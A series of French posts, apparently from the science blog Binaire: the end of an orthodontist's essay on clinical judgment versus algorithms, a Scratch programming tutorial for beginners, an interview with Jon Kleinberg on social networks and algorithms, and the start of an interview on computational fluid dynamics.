    Pour que tout se déroule parfaitement suivant un procédé calibré au millimètre près, il faut faire abstraction du fait que les déplacements relatifs aux alvéoles dentaires ont lieu au sein de la face, donc au carrefour de nombreux fonctions relatives à la bouche et au visage (respiration, mastication, déglutition, phonation, posture linguale…). Ceci a, en autres, une incidence esthétique majeure dans cet environnement biologique de tissu mou et dur réagissant aux contraintes biomécaniques de façon variable d’un individu à l’autre. À ces paradigmes viennent souvent se rajouter les paramètres de croissance faciale complexes et variables qu’il faut prendre en compte.

    Tout bien considéré, au contraire de ce que l’orthodontiste peut parfois être amené à croire de lui-même, sa valeur et celle de ses dix années d’études ne résident pas seulement dans sa capacité à mettre en œuvre une procédure technique parfaitement codifiée et maitrisée, mais aussi dans son aptitude à effectuer un codage des valeurs des différents paramètres faciaux sur une échelle commune (établir une « monnaie commune » des différentes paramètres).

    Par exemple, dans deux situations cliniques où le positionnement tridimensionnel des arcades est très similaire, les empreintes 3D seront identiques ; qui plus est, si nous ne faisons que suivre l’algorithme, les outils thérapeutiques individualisés seront également très proches. Or, si l’on se transpose dans le contexte biologique au sein de la face, les situations cliniques pourront s’éloigner l’une de l’autre. À travers son diagnostic, le praticien va placer sur la même échelle de valeur, le potentiel de croissance osseuse de la mandibule, une perception esthétique du profil et son devenir ainsi que l’efficience d’une fonction linguale et respiratoire de sorte qu’il décidera de façon quasiment intuitive (sens clinique), en intégrant ces paramètres cliniques dans une même matrice d’analyse. Selon qu’il prône une forte stimulation de la croissance mandibulaire ou des extractions de prémolaires, la planification et l’outil thérapeutiques seront diamétralement différents.

    En l’espèce, l’inefficacité de la machine n’est pas due au fait qu’il lui manque encore les données des différents paramètres faciaux qui sont nécessaires à son algorithme et qui, s’ils lui étaient un jour transmis, lui permettraient de « prendre la bonne décision ». Il s’agit plutôt de son incapacité structurelle à forger une « monnaie commune » entre paramètres étrangers les uns aux autres, par exemple, entre une fonction linguale et une esthétique faciale.

    En creusant dans différentes spécialités médicales, on arrive à des conclusions similaires. Une incarnation semble nécessaire à ce type de cognition. Les algorithmes vont pouvoir décrypter et analyser des données : voilà en quoi ils sont supérieurs à notre cerveau. Mais lorsqu’il s’agira de les placer dans le contexte global de l’individu de sorte à créer une « monnaie commune » entre différents paramètres, ils seront dans une impasse : il ne leur est pas possible de créer des connaissances pour modéliser le sens clinique. C’est là que réside la plus-value de nos cerveaux – et pour longtemps encore.

    Des propositions pour allier expertise algorithmique et humaine

    Différentes pistes peuvent être envisagées dans le cadre de la stratégie d’augmentation dont il a été question, le défi majeur pour le praticien étant d’accepter de sortir de sa zone de confort pour former un tandem avec l’intelligence artificielle et pour le programmeur de concevoir un modèle au service de la cognition humaine et non son supplétif. S’agissant de l’orthopédie dento-faciale, je proposerais les hypothèses suivantes :

    – Mieux connecter le praticien à l’environnement numérique. Rechercher des interfaces plus immersives entre la modélisation 3D issue des algorithmes et le praticien, en prenant en compte le fait qu’au-delà d’un degré de complexité de représentation 3D, le cerveau a du mal à maintenir son attention (d’où l’intérêt pour la réalité virtuelle ou augmentée) ; garder aussi à l’esprit que, vu que notre cerveau fonctionne mieux sur un mode non verbal, nous aurons du mal à expliciter nos intuitions cliniques afin de les transmettre aux dispositifs logiciels

    – Faire du praticien une interface efficace. Chercher à former des praticiens capables d’offrir une interface efficace entre le patient et les dispositifs logiciels plus que des techniciens performants qui se placeront en concurrence avec lesdits dispositifs. Cet objectif suppose de considérer la formation en internat non pas comme une simple suite de procédés techniques, mais aussi comme un milieu censé nourrir la connaissance et la sensibilité du praticien à parts égales, de sorte que celui-ci soit à même d’évaluer de façon transversale les paramètres dont dépend la réussite de sa thérapeutique.

    – Renforcer les réseaux entre praticiens. Utiliser les capacités du « deep learning », notamment dans la reconnaissance des formes, pour identifier des cas cliniques susceptibles de connecter, grâce à cette reconnaissance, deux praticiens confrontés à des cas cliniques similaires en deux endroits distincts du globe. Offrir aussi à chaque praticien la possibilité de mener des recherches thématiques ou des analyses critiques dans sa propre base de données.

    Valoriser une stratégie d’augmentation dans les rapports entre l’humain et l’intelligence artificielle, pour la médecine de l’avenir, c’est se souvenir des paroles du prix Nobel de littérature Isaac Bashevis Singer : « plus la technologie progresse, plus les gens s’intéressent aux possibilités du seul esprit humain ».  Face à la révolution technologique à l’œuvre, il importe de faire résonner les mots de l’historien Robert Rosenstone : « La révolution, c’est une tentative pour faire aboutir des rêves ».

    Dr Masrour Makaremi AKAREMI,  Spécialiste en Orthopédie dento-faciale (orthodontie).

    Références:
    1 : Steven EJ, Against Technology: From the Luddites to Neo-luddism, Routledge, 2006.
    2 : Alexandre L, La guerre des intelligences, Paris, JC Lattés, 2017.
    3 : Ganascia JG, Le mythe de la singularité, Paris, Seuil, 2017.
    4: Autor DH, Katz LF, Krueger AB, « Computing Inequality : Have Computers Changed th Labor Market ? », The Quarterly Journal of Economics 113 (4), p. 1169-1213.
    5 : Davenport TH, Kirby J, « Au-delà de l’automatisation », , 2016.
    6 : Makaremi M, « Optimisation de l’interface entre le praticien et les nouvelles technologies en orthodontie », Revue d’ODF, 2015, p. 335-343.

    Notes des éditrices et éditeurs de binaire: nous voulons saluer sur un tout autre sujet l’article de notre invité sur le monde.fr  à propos de tolérance.

  • Viens : on va apprendre à programmer !

    Tout le monde sait faire du Scratch maintenant … euh vous pas vraiment ? Pourtant le professeur de français profite de l’apprentissage du code pour faire réaliser des narrations interactives aux enfants afin de les rendre actifs par rapport à l’apprentissage de la rédaction, la professeure de mathématiques donne des exercices beaucoup plus attrayants, et au centre de loisirs votre fille a créé un jeu et votre fils une petite animation artistique. Bon il faudrait vous y mettre, mais … vous n’avez que peu de temps . Ça tombe bien la solution est par ici … Pascal Guitton et Thierry Viéville.

    A – Découvrez Scratch et réalisez une carte postale animé

    Action 1 – Créez-vous un compte sur Scratch

    Rendez-vous sur scratch.mit.edu pour créer votre compte (je vous conseille d’ouvrir Scratch dans un nouvel onglet, vous allez passer pas mal de temps sur cet outil au cours de ces deux premiers chapitres). Si vous avez un souci, n’hésitez pas à regarder la vidéo pas-à-pas.

    Niveau 1 – Premier défi : Il doit arriver quelque chose au chat ! Allez-y, n’ayez pas peur, explorez, jouez avec les blocs.

    Maintenant que vous avez créé votre compte sur Scratch et vu à quoi ressemble l’interface, je vous propose un premier défi. Prenez trois minutes pour jouer avec les blocs, votre seul objectif : il doit arriver quelque chose au chat. C’est parti ! Je vous attends pour la suite.

    Action  2 – Découvrez l’interface de Scratch

    Niveau 1 – Deuxième défi : Faites avancer le chat tout seul… indéfiniment.

    Indice : vous vous dites qu’il existe sûrement un bloc qui permet de faire ça, et vous avez raison ! Avez-vous trouvé lequel ? Et si vous regardiez dans la catégorie “Contrôle” ?

    Action 3 – Prenez le contrôle du petit chat.

    Et pour être sûr-e de vos connaissances, regardez cette page tutorielle du module de formation Class’´Code d’où cette initiation est extraite.

    Niveau 1 – Troisième défi : Créez une petite carte postale animée pour vous présenter.  À vous de faire ce que vous souhaitez créer

    Besoin d’aide ? Voici quelques pistes proposées par Magic Makers

    Un exemple de portrait ?

    Vous avez fini ? Et si vous aussi vous appreniez à partager votre création ?

    Action 4 – Partagez votre programme

     

    Niveau 1 – Quatrième défi : Partager ! Maintenant il ne vous reste qu’à ajouter votre projet au Studio Class’Code/FTV  https://scratch.mit.edu/studios/1945619 pour le partager et retrouvez ceux des autres !

    Ici, on crée un Studio dédié pour les jeunes sur le modèle de https://scratch.mit.edu/studios/1945619

    Et voilà ! Vous venez de créer votre premier programme. Pour cela vous avez conçu un algorithme, c’est à dire une suite d’instructions  précises que vous avez codé grâce à un langage, ici les blocs de Scratch, afin que l’ordinateur puisse l’exécuter.

    Niveau 1 – Question : Mais au fait, savez-vous d’où vient le mot Algorithme ? Et comment l’expliquer à votre entourage ?

    Action 5 – Prendre du recul : l’histoire des algorithmes  

    Coder, comme vous venez de le faire avec Scratch, c’est tout simplement le fait de donner des instructions précises à l’ordinateur (avec les différents blocs de Scratch par exemple), qu’il devra ensuite exécuter pour donner le résultat que vous souhaitiez obtenir (votre portrait !). Coder est donc l’activité qui permet de voir se concrétiser ses idées. Mais rien n’empêche ces idées de naître et de mûrir en dehors de toute forme de programmation (et donc même sans ordinateur !), en utilisant simplement le raisonnement comme moteur principal.

    Allez … on passe au niveau 2 ?

    B – Créez votre histoire interactive

    Action 6 – Changez de décor  

     

    Niveau 2 – Votre premier défi : Voici mon héros !
    Choisissez un héros dans la bibliothèque de lutin ou créez le vôtre et présentez-le sur le modèle de la carte postale animée ;
    Maintenant, votre héros part à l’aventure ! Faites-le changer de décor…

    Ensuite ? Prenons un deuxième lutin. Après que le premier lutin a fait basculer l’arrière-plan, votre deuxième lutin doit faire une action (provoquée par le changement d’arrière-plan donc).

    Avez-vous réussi ? Une manière parmi d’autres de relever le défi se trouve dans la vidéo.

    Action 7 – Posez vos conditions

    Niveau 2 – Deuxième défi : La rencontre.
    En route votre héros rencontre un étrange personnage : Posez un autre lutin sur la scène.
    Si votre héros le touche alors quelque chose se produit.  Mais quoi ? A vous de décider ! Et si votre héros ne le touche plus ?

    Vous pouvez aussi vous appuyer sur ce tutoriel qui fait découvrir de nouvelles instructions.

    Action 8 – Synchronisation

    Vous êtes à présent capables de provoquer des interactions entre vos personnages et vos décors, en utilisant des conditions. Allons encore plus loin dans ces interactions, avec la notion de synchronisation.

    Niveau 2 – Troisième défi : Le dialogue s’engage.
    Il s’ensuit un long dialogue entre le héros et cet étrange personnage et peut être de nouvelles aventures.
    À vous de nous raconter en veillant à ce qu’ils ne se coupent pas la parole ;-).

    Niveau 2 – Quatrième défi : Partager ! N’hésitez pas à partager votre aventure sur le Studio Class’CodeFTV  https://scratch.mit.edu/studios/1945619

    Niveau 2 – Question : Mais au fait, savez-vous qui a écrit le tout premier programme ?
    [ ] Alan Turing
    [ ] Al Kwarizmi
    [ ] Ada Lovelace

    Action 9 –  Prendre du recul : Mais qui a écrit le premier programme ?

    Cette mathématicienne a vu dans la machine analytique tout le potentiel d’un ordinateur. Non seulement son côté universel, capable d’exécuter tout ce qu’on sera capable de lui décrire, mais aussi l’impact qu’une telle machine pourrait avoir sur la société. Ada Lovelace s’est tellement passionnée pour cette machine et son potentiel, qu’elle sera la première à lui écrire un programme.

    Allez, on passe au niveau 3 ?

    C – Créez votre premier jeu !

    Action 10 –  Contrôler votre héros avec les flèches du clavier

    Pour commencer, apprenons à interagir avec le clavier, comme les premiers jeux informatiques avant l’utilisation de la souris 🙂 Nous avons aussi quelques éléments tutoriels sur l’usage du clavier.

    Niveau 3 – Premier défi : avancer dans le labyrinthe.
    Votre héros est maintenant bloqué au fond d’un labyrinthe, à vous de le dessiner.
    Écrivez ensuite un programme pour que vous puissiez l’aider à en sortir avec les flèches du clavier.
    Attention, s’il touche un mur, alors il ne peut pas avancer.

    Indice : vous pouvez utiliser le bloc “si couleur touchée” pour identifier les murs du labyrinthe.

    Un exemple : voici un labyrinthe à jouer et à remixer : https://scratch.mit.edu/projects/98866892

    Action 11 –  Ajouter un niveau de labyrinthe

     

    Niveau 3 – Deuxième défi : passer au niveau 2 !

    Lorsque votre héros arrive à la sortie alors il change de décor et se retrouve dans un nouveau labyrinthe : Niveau 2 !

    Vidéo 12 –  Comptez les niveaux du labyrinthe

    Une variable, c’est un peu comme une boîte : on peut y ranger des choses du même type à l’intérieur – comme des chaussettes par exemple. Selon la manière dont on va utiliser les objets à l’intérieur de la boîte, il pourra y en avoir plus ou moins – on peut enlever des chaussettes de la boîte le matin, et en remettre en fin de semaine après la lessive. Le nombre à l’intérieur de cette boîte peut donc être modifié tout au long de votre programme et selon les actions provoquées : il est variable.

    Niveau 3 – Troisième défi : ajouter un nouveau bloc supplémentaire qui va compter les niveaux pour nous ! 

    Niveau 3 – Quatrième défi : Partager ! N’hésitez pas à partager votre labyrinthe sur le Studio Class’CodeFTV https://scratch.mit.edu/studios/1945619

    Niveau 3 – Question : Est-il possible d’écrire un programme pour que votre héros sorte de tous les labyrinthes du monde ? C’est une question difficile, cherchez juste une première réponse générale.

    Action13 – Comment gagner à tous les coups grâce aux algorithmes ?

    Niveau 3 Activité – Et maintenant gagnez !
    Matériel : 16 allumettes (ou crayon, caillou, etc) + un adversaire ou si vous n’en avez pas cliquez ici https://scratch.mit.edu/projects/91143670/ – fullscreen
    Essayez de mettre au point une stratégie gagnante !

    Vous avez pu trouver ? La réponse est donnée ici.

    Et ces activités sans ordinateur avec les objets du quotidien, c’est aussi de l’informatique ! Plus de tours de magie sans ordinateur ? Allons  regarder Marie nous en proposer.

    D – Conclusion.

    Tout le monde sait faire du Scratch maintenant … et vous ? aussi !

    S’auto-évaluer. Comment partager des critères liés à la démarche de programmation (planifier, tester et bonifier le programme sous une approche itérative…) ? Voici une grille d’autoévaluation, pourquoi ne pas s’inviter sur le site pour s’autoévaluer pendant ou après nos premières créations ? C ‘est par ici …

    Reste maintenant le plus difficile et le plus passionnant … parce que apprendre à coder ne sert à rien … si cela ne sert à rien : alors vous à quoi cela va-t-il vous servir ?

    Liliane Khamsay, Florent Masseglia et Claude Terosier autrices du parcours « découvrir la programmation créative » de https://classcode.fr

    Note: Toutes ces ressources créées sur la plateforme OpenClassrooms avec la société MagicMakers dans le cadre de ce projet soutenu par le Programme d’Investissement d’Avenir sont librement réutilisables comme on le voit ici (licences Creative-Commons).

  • Des réseaux sociaux

    Un nouvel « Entretien autour de l’informatique » par Serge Abiteboul et Claire Mathieu, celui de Jon Michael Kleinberg. Jon est un informaticien américain, professeur à l’Université de Cornell, qui a considérablement contribué à l’étude des moteurs de recherche et des réseaux sociaux. Ses travaux sur le classement des réponses de recherche d’information ont été précurseurs d’algorithmes comme celui de PageRank à l’origine de la création de Google. Serge Abiteboul et Claire Mathieu l’interrogent pour Binaire sur le présent, le passé, et le futur de son domaine. Cet article est publié en collaboration avec TheConversation.
    Jon Kleinberg à Cornell Univ. Photo pour Wide World par Michael J. Okoniewski.

    B : Quel est ton domaine de recherche actuel ?

    JK : Je travaille à l’intersection de deux domaines, d’une part l’algorithmique, et d’autre part les réseaux sociaux  et les réseaux d’information tels que le web et internet. Plus généralement je m’intéresse aux algorithmes, à leurs actions au sein de la société humaine, et à leurs applications aux problèmes de société.

    B : Y a-t-il d’autres domaine de l’informatique qui interagissent avec ce domaine ?

    JK : Ce domaine a des interactions fortes avec de nombreuses facettes de l’informatique. On peut citer l’apprentissage automatique, ou les systèmes distribués de grande taille. Ainsi, le modèle de calcul “Mapreduce” a été créé en partie pour gérer l’infrastructure de réseaux sociaux géants tels que Google ou Facebook. De plus, par leur nature même, ces systèmes dépendent de données sensibles, d’où l’importance de déterminer quelles informations sont révélées quand on se met à utiliser des données personnelles pour d’autres buts que ceux pour lesquels elles avaient été initialement obtenues. Cela soulève des questions dans le domaine de la sécurité et de la protection de la vie privée. Enfin, comme une part croissante de l’information se présente sous forme d’image ou de vidéo, nous avons de plus en plus d’interactions avec le domaine de la vision par ordinateur.

    Représentation d’un réseau social

    B : Quel est le rôle des universitaires dans cette transformation de la société par le numérique ?

    JK : D’une part, de nombreux concepts introduits sur internet ces vingt dernières années sont au moins en partie le fruit de projets universitaires conduits par des enseignants-chercheurs ou des étudiants. Dans les premiers temps du domaine, la barrière technique à l’innovation était relativement basse, d’où un rôle important des universitaires. A un stade expérimental, les coûts d’introduction de nouvelles idées sont peu élevés, et cela favorise un cadre où de nombreuses personnes, à la fois motivées et techniquement talentueuses, peuvent tester des projets très divers, dans la plus grande liberté intellectuelle pour suivre les directions qui les intéressent et focaliser leur énergie sur ce qui leur semble prometteur. Le milieu universitaire est propice à cela, et les résultats ont une influence significative sur la société. Pour passer à l’échelle d’un milliard d’utilisateurs, cela devient plus coûteux, ne fût-ce qu’en termes de serveurs et de centres de données. C’est alors le rôle des entreprises de prendre le relais pour développer les idées des universitaires et en faire de grands succès financiers en les commercialisant.

    D’autre part, un défi pour les universitaires informaticiens actuellement est de chercher des partenariats avec les disciplines qui ont déjà une tradition établie d’étude de ce type de questions, par exemple la sociologie ou l’économie. À la frontière avec l’informatique, il existe un terrain très prometteur de flux d’idées dans les deux sens.

    Dans un sens, on voit que quand on développe une plate-forme telle que Twitter, penser aux aspects techniques ne suffit pas ; il est indispensable de réfléchir aussi à ce qui se passe lorsqu’un nombre important de personnes se mettent à utiliser cette plate-forme, ainsi qu’aux conséquences économiques, qu’elles soient fortuites ou intentionnelles.

    Dans l’autre sens, j’aime à croire que les spécialistes de ces disciplines ont des choses à apprendre de nous. En sociologie en particulier, traditionnellement l’acquisition de données sur le fonctionnement des groupes de personnes est une difficulté majeure du domaine, parce que cela requiert des observations, et donc des interactions de personne à personne. Désormais, avec Facebook par exemple, on a accès à des interactions extrêmement riches, à un niveau de détail extrême, et à grande échelle. Pour étudier un problème de sociologie, l’analyse des données de Facebook à beaucoup à enseigner sur les interactions entre les individus, même si on ne comprend pas vraiment ce que chaque interaction signifie. Comment reprendre les questions sophistiquées traditionnellement posées par des sociologues à un petit nombre d’individus, et les faire passer à l’échelle des données sur internet ?

    Un exemple d’un tel travail : le phénomène de petit monde dans les graphes. Considérons  la question des degrés de séparation qui nous séparent les uns des autres. « Les six degrés de séparation » est une propriété suggérée par le Hongrois Frigyes Karithy dans une de ces nouvelles datée de 1929 qui évoque la possibilité que toute personne sur le globe puisse être reliée à n’importe quelle autre, au travers d’une chaîne de relations individuelles comprenant au plus six maillons. Il est plus facile de raisonner sur ce problème de façon qualitative que quantitative, ce qui peut expliquer pourquoi ce thème a d’abord fait surface dans la fiction. Puis, dans les années 60, Stanley Milgram, qui avait un talent pour la conception d’expériences en sciences sociales pour tester des phénomènes dont tout le monde avait une compréhension intuitive mais qu’on ne savait pas formaliser, a conçu la célèbre expérience “six degrés de séparation” étudiant le cheminement de lettres jusqu’à leurs destinataires. C’est là un bon exemple d’un travail expérimental qui était très difficile à faire avant internet. Il découvrit que la médiane du nombre d’étapes dans le chemin était de six, ce qui, grâce à l’auteur de pièce de théâtre John Guare, est devenu connu sous le nom de “six degrés de séparation”. Deuxième apparition de travail de fiction dans l’histoire de ce problème, car c’est sa pièce de théâtre, puis le film qui en a été tiré, qui ont popularisé ce phénomène.

    Plus tard, dans le domaine des mathématiques, Watts et Storgetz ont proposé un modèle de graphe aléatoire, et c’est par leur travaux que j’ai été amené à m’intéresser au problème. Je souhaitais particulièrement l’étudier du point de vue algorithmique, auquel les gens n’avaient pas prêté attention jusqu’alors. En fait, l’expérience de Milgram a montré deux propriétés distinctes : premièrement, qu’il existait des chemins très courts entre la plupart des paires de points dans un graphe aléatoire ; et deuxièmement, que les gens étaient capables de découvrir ces chemins. Notons que Milgram n’aurait jamais découvert cette deuxième propriété s’il avait simplement eu accès à des données massives et à de puissants outils de calcul : il lui aurait suffi de faire un calcul de plus courts chemins, court-circuitant la deuxième propriété. Parfois, le manque de ressources nous oblige à faire des études plus intéressantes que ce à quoi on aurait pensé sinon ! Enfin, depuis 2005 ou 2006, l’explosion soudaine des réseaux sociaux a permis d’étudier les données qui ont alors émergé et de vérifier certaines des prédictions précédentes.

    Représentation des 6 degrés par Daniel’ (User:Dannie-walker)

    B : Comment t’es-tu retrouvé à faire de l’informatique ?

    JK : Enfant, j’aimais les maths. Jeune adolescent au moment de l’arrivée de l’ordinateur personnel Apple 2, j’écrivais des programmes de jeux que je partageais avec mes amis du collège, et étais toujours à la recherche d’idées de jeux qui intéresseraient mes amis. Cette découverte de l’informatique par la programmation des ordinateurs personnels est typique de ma génération. La discipline scientifique informatique était déjà bien développée, mais nous n’en étions pas conscients. Pour les générations antérieures, les ordinateurs étaient peu accessibles ; pour les suivantes, il est devenu évident que l’informatique était une discipline. Étudiant, j’étais parti pour étudier les maths, mais j’ai suivi en première année de licence un cours d’introduction à l’informatique. Je me suis alors rendu compte qu’il était possible de marier mes deux intérêts, les maths et la programmation. C’était passionnant de découvrir le raisonnement mathématique appliqué à la programmation, et l’informatique était un sujet que je pouvais étudier sans être pour autant obligé d’abandonner les maths.

    B : Ton domaine de recherche actuel existait-il alors ?

    JK : On peut toujours mentionner des articles isolés, mais en tant que domaine de recherche identifié comme objet d’étude, cela n’est apparu que lorsque j’étais en doctorat. Le catalyseur a été l’adoption massive du web par le grand public, entre 1993 et 1997. Le web s’est transformé, d’une simple application pour partager des fichiers sur internet, en quelque chose que tout un chacun utilisait quotidiennement. Les informaticiens se sont alors rendu compte qu’il ne suffisait plus, comme auparavant, de construire des systèmes d’exploitation, des compilateurs, et des raisonnements logiques pour les analyser, mais que désormais il était indispensable de prendre en compte le comportement des millions d’utilisateurs sans lesquels le web lui-même n’existerait pas.

    B : Quels en ont été les conséquences en dehors de l’informatique ?

    JK : Bien évidemment, il y a eu des changements dans la vie quotidienne, dont sont conscients tous ceux qui ont vécu les années 90. Nous avons désormais des outils qui nous permettent, dès qu’on a une question factuelle, d’obtenir la réponse quasi immédiatement. Cela nous semble maintenant normal, mais ça n’existait pas dans les années 80. Deuxième conséquence, alors qu’autrefois seules quelques personnes avaient la responsabilité de produire et partager l’information dans des médias traditionnels, désormais ce sont des centaines de millions de personnes qui produisent et partagent l’information. Du coup, chacun doit désormais adopter une démarche similaire à celle de la recherche académique, en évaluant l’information, en comparant des sources différentes sur un même sujet, en tenant compte des objectifs probables et des biais potentiels de ceux qui ont écrit l’information. Par exemple, allez sur internet et recherchez combien de temps des restes de poulet peuvent se garder dans un réfrigérateur. La diversité des réponses est phénoménale. On peut trouver un blog avec une opinion très tranchée sur la question, mais on ne sait pas si l’auteur est crédible, une page sur le site d’une entreprise d’agro-alimentaire, mais on ne sait pas si on peut leur faire confiance, une page sur le site du ministère de la santé, mais on ne sait pas exactement d’où ça sort. Ainsi, toutes ces sources prétendent une expertise qu’on n’a pas moyen d’évaluer, ils tentent tous de répondre à la même question, et les résultats sont tous différents. Ce genre de choses, on le voit tous les jours.

    Historiquement, les choses ont commencé à changer dans les années 90, quand les gens ont commencé à mettre des informations sur le web ; ça s’est accéléré avec Wikipédia, puis, entre 2004 et 2006, le monde de l’information a changé. Les grandes plateformes que nous utilisons maintenant, Facebook, Twitter, YouTube, sont toutes apparues au cours de cette période très brève. Il y a eu une convergence de progrès technologiques qui ont facilité l’accès à internet pour y mettre des informations de façon collaborative, et les gens se sont mis à sortir de derrière l’écran de leurs pages web et à interagir plus directement les uns avec les autres. Dans les années 90, même après la démocratisation du web, il s’agissait fondamentalement encore de lecture de documents, alors que depuis 2006, il s’agit plus d’interaction avec des personnes. Cela a modifié les attentes. Maintenant, s’il se passe quelque chose quelque part dans le monde, je me connecte à un réseau social, et j’ai immédiatement accès aux réactions de dizaines de milliers de gens. Dès qu’il arrive quelque chose, un désastre naturel par exemple, on va tout naturellement sur Twitter et on voit les réactions en temps réel. Les mêmes questions se posent alors : ces informations sont-elles crédibles ? Adopter la démarche de la recherche académique traditionnelle ne suffit plus, car il s’agit maintenant de discerner la vérité à partir de centaines de milliers de minuscules fragments de réactions. C’est encore plus compliqué !

    Souvent, on compare la période présente à la constellation d’activités nouvelles aux début du 16e siècle (dont la création du Collège de France) liées à la démocratisation de l’information. L’ensemble des personnes qui avaient accès à l’information s’est élargi, et le type d’informations auxquelles ils avaient accès s’est considérablement élargi. Il y a eu une combinaison de facteurs comme la diffusion de l’imprimerie, la diminution de l’analphabétisme, ou le changement dans l’organisation du système éducatif. Tout cela a modifié les conditions de création et dissémination de l’information. Incorporer ces changements a été un défi pour la société de l’époque ! Il me semble que nous sommes maintenant confrontés à un défi analogue.

    B : Le prix MacArthur que tu as reçu a-t’il eu un impact significatif sur ta carrière ?

    JK : J’ai obtenu ce prix en 2005, juste au moment de la soudaine émergence de très grands réseaux sociaux. Auparavant, j’avais travaillé sur la conception et l’analyse d’algorithmes de recherche sur le web, et il semblait que ces grands réseaux sociaux posaient des questions importantes, mais difficiles à formaliser puisqu’il s’agissait de s’aventurer dans le monde extérieur à l’informatique. Le prix MacArthur m’a donné une impulsion pour travailler à définir une direction de recherche qui ait à voir avec ces nouveaux développements, et à penser aux conseils à donner aux étudiants débutants. Ainsi, parmi les étudiants que nous avons formés, on peut citer Haggstrom, qui a rejoint Facebook en 2009, et qui est maintenant vice-président de l’ingénierie responsable du classement des articles : d’une certaine manière, on peut tracer un chemin allant du prix MacArthur jusqu’à ces développements.

    B : As-tu des regrets ?

    JK : J’ai eu beaucoup, beaucoup de chance avec mes collaborateurs et avec nos sujets d’étude. J’ai appris de mes mentors, de mes collaborateurs, de mes étudiants, et c’est extraordinaire que de faire ainsi partie d’une communauté scientifique. Si je devais avoir un regret, ce serait celui des occasions manquées, lorsque j’ai hésité à me lancer sur un nouveau sujet, parce que je craignais que le sujet ne soit pas assez mûr, trop mal défini, pas assez sérieux. Je n’ai jamais regretté de m’être lancé trop tôt sur quelque chose.

    B : Comment imagines-tu l’avenir de ton domaine ?

    JK : Un problème important du domaine est de comprendre comment ces systèmes influencent le comportement de ces individus. Quand on regarde Facebook, on a tendance à s’imaginer qu’on contemple le comportement d’êtres humains dans leur état naturel, mais en réalité, il y a des algorithmes sous-jacents qui régulent leurs interactions. Ainsi, les résultats des recherches sur Google orientent les choix ultérieurs, et les articles qu’on consulte sur Facebook dépendent de ceux qu’on voit, et cela est déterminé par des algorithmes. Dans de telles situations, on n’a actuellement aucune notion de l’impact des décisions de conception d’algorithme sur les utilisateurs de la plate-forme. C’est un problème grand ouvert, et rendu plus compliqué encore par la boucle de rétroaction. Par exemple, en ce qui concerne les habitudes des consommateurs, l’algorithme de recommandations est entraîné à partir des décisions passées des consommateurs, mais bien évidemment les décisions ultérieures des consommateurs sont à leur tour influencées par ce que l’algorithme décide de leur montrer, et il y a ainsi une boucle infinie de rétroaction, où les décisions de l’algorithme dépendent des décisions des utilisateurs, et vice-versa. Avec ce type de boucles de rétroaction, nous ne comprenons pas vraiment ce que font nos algorithmes, et ce phénomène est présent partout dans le monde de l’internet, qui lui-même interagit avec le monde réel.

    Plus largement, ceci conduit au deuxième domaine où nous avons un besoin urgent de travaux de recherche : le rôle des algorithmes dans les décisions de nature politique, de protocole ou de règlementation. Des experts ou groupes d’experts prennent des décisions qui ont des conséquences sur la vie des personnes ordinaires, par exemple liées à l’embauche, à la justice, ou à la médecine avec des recommandations de traitements. Ces décisions ont des conséquences significatives sur la vie d’individus. Il y a probablement là une place pour des algorithmes qui pourraient aider à réduire le nombre de décisions erronées, mais c’est là un grand défi.

    B : Quelle formation envisages-tu pour les informaticiens de demain ?

    JK : À l’université de Cornell, nous tentons d’incorporer à notre enseignement dans notre formation d’ingénieur des concepts issus d’autres disciplines. Par exemple, pour concevoir notre cours sur les réseaux informatiques, nous sommes partis de la question suivante : quels sont les concepts des sciences sociales utiles à savoir pour la conception d’applications massives sur internet, et qui peuvent être enseignés en un semestre ? Cela nous a conduit à centrer notre cours sur les idées techniques et mathématiques à la frontière entre sciences sociales et systèmes technologies. Plus récemment, conscients que nos étudiants, dans leur vie professionnelle, construiront des systèmes informatiques qui auront un impact sur un segment de plus en plus large de la société, nous avons introduit un cours qui donne aux étudiants du cursus d’ingénieur des connaissances de base sur l’éthique et les grandes questions générales en matière de droit.

    Inversement, même pour les étudiants non-informaticiens, il est de plus en plus important de connaître les idées de base de l’informatique et de comprendre les principes de fonctionnement des nombreux systèmes qu’ils utilisent dans leur vie quotidienne. De plus en plus, ils seront responsables de l’évaluation d’argumentaires basés sur des données, et doivent être capables de raisonner sur les aspects fondamentaux de la science des données et de l’apprentissage statistique.

    Bien entendu, ces sujets ont vocation à être enseignés de plus en plus tôt dans le cursus éducatif. Nous connaissons l’évolution de sujets enseignés d’abord en 3e cycle, puis en licence, et enfin dès le lycée : les notions de base de l’informatique en sont un bon exemple.

    Personnellement, je pars de l’hypothèse que, dans presque tous les domaines, il y a des connaissances importantes à acquérir. Il y a de plus de plus de choses à apprendre, et elles ont toutes leur importance, mais nous ne disposons que d’un temps fini pour apprendre. Pour gérer ce paradoxe, on pourrait compresser et mélanger les disciplines, et c’est en ces termes que j’essaie de penser nos formations, plutôt que de faire le choix d’écarter un champ disciplinaire spécifique.

    B : Aurais-tu un conseil à donner à une jeune étudiante ou un jeune étudiant en informatique ?

    JK : En général, il est préférable de se laisser guider par ce qui nous intéresse plutôt que parce ce que quelqu’un d’autre juge intéressant. Il y a tant de questions qui ouvrent des directions passionnantes que parfois on ne sait trop laquelle choisir, et nous sous-estimons souvent la largeur de spectre couvert par l’informatique ainsi que la rapidité à laquelle les nouveautés se développent. Si vous êtes en fin de licence ou de mastère, il se peut tout à fait que certaines questions vous “branchent” mais que vos enseignants ne soient pas aussi conscients du sujet que vous-même. Mais ce n’est pas parce qu’une question est trop nouvelle pour faire l’objet d’un cours que ce n’est pas un bon sujet d’étude, au contraire ! Il est tout à fait possible que ce soit précisément les questions importantes à étudier maintenant. L’histoire des développements de l’informatique le démontre.

    Serge Abiteboul, Inria & ENS Paris, Claire Mathieu, CNRS, Paris, et Collège de France

  • Les fluides : une histoire de calcul scientifique

    Quel est le point commun entre les battements de mon cœur, un avion qui vole grâce à ses réacteurs et l’évacuation d’une salle de cinéma ?  C’est ce que vont nous expliquer Jean-Antoine Désidéri et Alain Dervieux (Inria, Sophia Antipolis Méditerranée) en nous accompagnant  à travers un demi-siècle de calcul scientifique, du point de vue de l’étude des fluides. Pascal Guitton et Thierry Viéville.

    Bonjour, vous êtes des spécialistes de calcul scientifique et de mécanique des fluides numériques. Pourriez-vous nous préciser le contour de ces disciplines ?

    On peut dire que tous les scientifiques s’impliquent dans une forme de “calcul sur ordinateur”, mais classiquement on emploie le terme de calcul scientifique (et celui de numéricien·ne pour celles et ceux qui le pratiquent) pour désigner les activités de modélisation physique, mathématique et informatique de systèmes complexes issus de la physique théorique ou de l’ingénierie.

